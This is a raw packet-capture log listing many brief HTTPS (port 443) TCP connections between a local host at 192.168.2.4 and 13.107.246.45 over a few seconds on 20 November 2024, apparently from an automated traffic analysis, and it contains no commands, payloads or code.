Nov 20, 2024 12:58:29.141182899 CET	443	49806	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.148149967 CET	443	49808	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.148444891 CET	49808	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.148480892 CET	443	49808	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.148808956 CET	49808	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.148814917 CET	443	49808	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.178723097 CET	443	49804	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.178808928 CET	443	49804	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.178870916 CET	49804	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.179069996 CET	49804	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.179117918 CET	443	49804	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.179147959 CET	49804	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.179164886 CET	443	49804	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.181984901 CET	49809	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.182037115 CET	443	49809	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.182110071 CET	49809	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.182259083 CET	49809	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.182274103 CET	443	49809	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.186101913 CET	443	49807	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.186492920 CET	49807	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.186511040 CET	443	49807	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.186959982 CET	49807	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.186964989 CET	443	49807	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.215209007 CET	443	49805	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.215301991 CET	443	49805	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.215394974 CET	49805	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.215632915 CET	49805	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.215655088 CET	443	49805	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.215666056 CET	49805	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.215672016 CET	443	49805	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.219060898 CET	49810	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.219135046 CET	443	49810	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.219235897 CET	49810	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.219429016 CET	49810	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.219441891 CET	443	49810	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.253267050 CET	443	49806	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.253339052 CET	443	49806	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.253396988 CET	49806	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.253597975 CET	49806	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.253616095 CET	443	49806	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.253628016 CET	49806	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.253633022 CET	443	49806	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.254298925 CET	443	49808	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.254405022 CET	443	49808	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.254446030 CET	49808	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.254640102 CET	49808	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.254640102 CET	49808	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.254659891 CET	443	49808	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.254671097 CET	443	49808	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.256690979 CET	49811	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.256726980 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.256784916 CET	49811	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.257049084 CET	49811	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.257066965 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.257471085 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.257507086 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.257565022 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.257710934 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.257724047 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.311438084 CET	443	49807	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.311522007 CET	443	49807	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.311568975 CET	49807	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.311752081 CET	49807	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.311768055 CET	443	49807	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.311779976 CET	49807	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.311786890 CET	443	49807	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.314275980 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.314320087 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.314377069 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.314497948 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.314510107 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.828356981 CET	443	49809	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.831401110 CET	49809	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.831438065 CET	443	49809	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.831860065 CET	49809	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.831867933 CET	443	49809	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.857016087 CET	443	49810	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.858989000 CET	49810	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.859024048 CET	443	49810	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.859553099 CET	49810	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.859560013 CET	443	49810	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.892123938 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.894915104 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.894956112 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.895376921 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.895382881 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.897479057 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.898847103 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.899302006 CET	49811	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.899323940 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.899327993 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.899344921 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.899688005 CET	49811	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.899693966 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.900024891 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.900031090 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.967428923 CET	443	49810	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.967498064 CET	443	49810	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.967586994 CET	49810	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.967878103 CET	49810	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.967896938 CET	443	49810	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.967906952 CET	49810	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.967914104 CET	443	49810	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.970777035 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.970815897 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.970920086 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.971060038 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.971071005 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.993635893 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.993756056 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.993840933 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.994155884 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.994170904 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.994183064 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.994189024 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.996773958 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.996819019 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.996870995 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.996911049 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.996939898 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.997014046 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.997030973 CET	49811	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.997031927 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.997128010 CET	49811	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.997143984 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.997155905 CET	49811	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.997160912 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.999366999 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.999452114 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.999538898 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.999681950 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.999720097 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.004045963 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.004108906 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.004167080 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.004349947 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.004349947 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.004365921 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.004375935 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.006217957 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.006267071 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.006349087 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.006546974 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.006570101 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.043112993 CET	443	49809	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.043194056 CET	443	49809	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.043405056 CET	49809	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.043445110 CET	49809	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.043457031 CET	443	49809	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.043473005 CET	49809	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.043478012 CET	443	49809	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.045824051 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.045885086 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.045958042 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.046149969 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.046169996 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.624274969 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.625866890 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.625890970 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.626322985 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.626327991 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.639082909 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.641706944 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.641736984 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.642111063 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.642124891 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.650140047 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.650557041 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.650597095 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.651149988 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.651170015 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.662036896 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.662456036 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.662501097 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.662810087 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.662837982 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.698380947 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.698774099 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.698816061 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.699364901 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.699377060 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.725549936 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.725692034 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.725768089 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.725910902 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.725910902 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.725931883 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.725943089 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.729392052 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.729424953 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.729515076 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.729640007 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.729645967 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.739195108 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.739278078 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.739347935 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.739437103 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.739437103 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.739479065 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.739507914 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.741708040 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.741746902 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.741821051 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.741920948 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.741935015 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.754892111 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.754951000 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.755008936 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.755095959 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.755126953 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.755142927 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.755152941 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.757524967 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.757553101 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.757651091 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.757778883 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.757793903 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.766797066 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.766911983 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.766983032 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.767152071 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.767169952 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.767183065 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.767189026 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.769772053 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.769799948 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.769900084 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.770020962 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.770034075 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.825721979 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.825813055 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.826035023 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.826132059 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.826132059 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.826181889 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.826210022 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.828636885 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.828733921 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:30.828834057 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.828959942 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:30.828983068 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.395133018 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.395755053 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.395781994 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.396218061 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.396223068 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.399672031 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.400001049 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.400212049 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.400235891 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.400444031 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.400468111 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.400621891 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.400628090 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.401046038 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.401051044 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.417598963 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.418134928 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.418148041 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.418549061 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.418554068 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.488723040 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.489223957 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.489252090 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.490139961 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.490144968 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.496031046 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.496105909 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.496165991 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.496275902 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.496294022 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.496304035 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.496310949 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.499259949 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.499304056 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.499381065 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.499485016 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.499506950 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.502491951 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.502563953 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.502620935 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.502666950 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.502686977 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.502715111 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.502722979 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.504698992 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.504733086 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.504802942 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.504904032 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.504911900 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.504919052 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.504966021 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.505016088 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.505064011 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.505083084 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.505094051 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.505099058 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.507570982 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.507586002 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.507653952 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.507886887 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.507903099 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.521826029 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.521884918 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.521958113 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.522162914 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.522171974 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.522186041 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.522192001 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.525207043 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.525240898 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.525331020 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.525444984 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.525456905 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.593905926 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.594002962 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.594070911 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.594301939 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.594321012 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.594345093 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.594350100 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.597685099 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.597723007 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:31.597829103 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.598036051 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:31.598046064 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.139296055 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.139931917 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.139960051 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.140417099 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.140424013 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.159738064 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.160120010 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.160152912 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.160476923 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.160484076 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.160768986 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.161041021 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:32.161070108 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:32.161369085 CET	49826	443	192.168.2.4	13.107.246.45
